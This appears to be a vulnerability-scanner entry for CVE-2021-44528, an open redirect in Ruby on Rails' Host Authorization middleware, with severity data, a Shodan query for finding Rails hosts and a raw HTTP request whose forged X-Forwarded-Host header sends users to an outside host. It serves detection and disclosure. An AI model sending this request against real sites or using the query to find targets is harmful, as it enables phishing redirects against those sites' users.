| Title | Open Redirect in Host Authorization Middleware |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | This vulnerability can lead to phishing attacks, where users are tricked into visiting malicious websites and disclosing sensitive information. |
| Remediation | Apply the latest security patches or updates provided by the vendor to fix the Open Redirect vulnerability in the Host Authorization Middleware. |
| CVSS Score | 6.1 |
| EPSS Score | 0.31577 |
| CVE ID | CVE-2021-44528 |
| CWE ID | CWE-601 |
| Shodan Query | cpe:"cpe:2.3:a:rubyonrails:rails" |
| Tags | cve2021 cve seclists redirect rubyonrails vuln |
Specially crafted “X-Forwarded-Host” headers in combination with certain “allowed host” formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
X-Forwarded-Host: //interact.sh
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44528.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-44528.pcap
N/AN/A